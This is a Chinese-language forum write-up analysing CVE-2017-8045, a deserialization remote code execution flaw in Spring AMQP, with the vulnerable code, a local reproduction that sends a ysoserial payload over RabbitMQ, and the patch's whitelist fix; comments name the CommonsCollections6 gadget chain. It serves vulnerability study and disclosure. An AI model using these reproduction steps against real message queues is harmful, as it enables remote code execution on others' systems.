Spring AMQP远程代码执行漏洞分析和复现—【CVE-2017-8045】

cryin / 2017-09-30 03:50:00 / 浏览数 5536 技术文章 技术文章 顶(0) 踩(0)

最近国外研究人员先后爆出Spring Data REST远程代码执行漏洞(CVE-2017-8046)和Spring AMQP远程代码执行漏洞(CVE-2017-8045)，CVE-2017-8046关注的人比较多，这里对CVE-2017-8045进行简单分析和复现

漏洞原因

在Spring AMQP的Message类中，文件路径为spring-amqp/src/main/java/org/springframework/amqp/core/Message.java。getBodyContentAsString方法中将接收到的消息

```
private String getBodyContentAsString() {
       if (this.body == null) {
           return null;
       }
       try {
           String contentType = (this.messageProperties != null) ? this.messageProperties.getContentType() : null;
           if (MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT.equals(contentType)) {
               return SerializationUtils.deserialize(this.body).toString();
           }
   ......
   }
```

可以看到这里如果要触发漏洞，其中一个条件是要将请求的ContentType设置为application/x-java-serialized-object。

```
public static final String CONTENT_TYPE_SERIALIZED_OBJECT = "application/x-java-serialized-object";
```

代码分析

先分析存在漏洞的代码版本spring-amqp-1.7.3.RELEASE，整个项目代码中共有两处提供反序列化方法的类，分别是SerializerMessageConverter类和SerializationUtils类

其中SerializerMessageConverter继承了WhiteListDeserializingMessageConverter类并实现了反序列化方法deserialize，代码如下：

```
private Object deserialize(ByteArrayInputStream inputStream) throws IOException {
       try {
           ObjectInputStream objectInputStream = new ConfigurableObjectInputStream(inputStream,
                   this.defaultDeserializerClassLoader) {

               @Override
               protected Class<?> resolveClass(ObjectStreamClass classDesc)
                       throws IOException, ClassNotFoundException {
                   Class<?> clazz = super.resolveClass(classDesc);
                   checkWhiteList(clazz);
                   return clazz;
               }

           };
           return objectInputStream.readObject();
       }
       catch (ClassNotFoundException ex) {
           throw new NestedIOException("Failed to deserialize object type", ex);
       }
   }
```

上面代码可以看到在deserialize函数中hook了objectInputStream的resolveClass方法并调用WhiteListDeserializingMessageConverter类的checkWhiteList方法对反序列

在SerializationUtils类的反序列化方法中则未进行任何安全校验：

```
public static Object deserialize(byte[] bytes) {
       if (bytes == null) {
           return null;
       }
       try {
           return deserialize(new ObjectInputStream(new ByteArrayInputStream(bytes)));
       }
   ......
   public static Object deserialize(ObjectInputStream stream) {
```

```
        if (stream == null) {
            return null;
        }
        try {
            return stream.readObject();
        }
        ......
    }
```

而本次漏洞触发点getBodyContentAsString函数中调用的正是SerializationUtils的deserialize方法。

漏洞利用

Message类中toString方法调用了getBodyContentAsString函数，而该漏洞发现者介绍，该方法在代码中许多错误处理及日志记录中会调用到并给出了相关demo。该程序
Content-Type设置为application/x-java-serialized-object，然后发送消息，因为demo程序只允许接收json格式消息，所以会触发异常，从而调用并将消息带入toString函

可以使用spring-amqp-samples中的demo，将Application中container方法中添加：

```
listenerAdapter.setMessageConverter(new Jackson2JsonMessageConverter());
```

在测试用例中修改发送消息格式：

```
public void test() throws Exception {

        InputStream in = new FileInputStream("testfile");
        ByteArrayOutputStream bytestream = new ByteArrayOutputStream();

        int ch;
        while((ch = in.read()) != -1) {
            bytestream.write(ch);
        }

        byte[] data = bytestream.toByteArray();
        Message message = MessageBuilder.withBody(data)
                .setContentType(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)
                .setMessageId("8045")
                .setHeader("foo", "test")
                .build();

        rabbitTemplate.convertAndSend(Application.queueName, message);
        receiver.getLatch().await(10000, TimeUnit.MILLISECONDS);
    }
```

安装RabbitMQ，mac下安装使用命令即可：

```
brew install rabbitmq
```

在resources目录创建application.properties文件，内容如下：

```
spring.rabbitmq.host=localhost
spring.rabbitmq.port=5672
spring.rabbitmq.username=guest
spring.rabbitmq.password=guest
spring.rabbitmq.virtualHost=
```

使用ysoserial生成payload文件,在pom依赖中添加commons-collections 3.1，接着调试运行即可进入到tosting函数，并弹出计算器：

补丁分析

在修复版本以1.7.4为例，getBodyContentAsString中反序列化接口改为调用SerializerMessageConverter的fromMessage方法将AMQP消息转换为对象，并使用setWhit

```
static {
        SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
    }
```

详细见https://github.com/spring-projects/spring-amqp/commit/36e55998f6352ba3498be950ccab1d5f4d0ce655

参考

- https://lgtm.com/blog/spring_amqp_CVE-2017-8045
- http://www.cnvd.org.cn/webinfo/show/4247

- https://pivotal.io/security/cve-2017-8045
- https://jira.spring.io/browse/AMQP-766
- https://github.com/Cryin/Paper/blob/master/Spring%20AMQP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F

上一篇：安全博客友链数据分析可视化 下一篇：不重启Tomcat，覆盖本地代码

1. 4 条回复


hades 2017-09-30 04:25:47

辛苦~~

0 回复Ta


cryin 2017-09-30 07:27:22

引用第1楼hades于2017-09-30 12:25发表的 回 楼主(cryin) 的帖子：
辛苦~~ [url=https://xianzhi.aliyun.com/forum/job.php?action=topost&tid=2188&pid=6414][/url]

，调试了一天，总算复现了~ ~

0 回复Ta


j**** 2017-11-08 16:04:40

大佬，请问下我生成payload的方式对吗？对比了一下，调试到那一步payload好像不一样，然后就没有复现，请问下有什么可能的原因吗？或者可以把payload分享一下

0 回复Ta

j**** 2017-11-08 16:14:46

已经解决了，原来要用CommonsCollections6来生成，打扰啦~~~

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板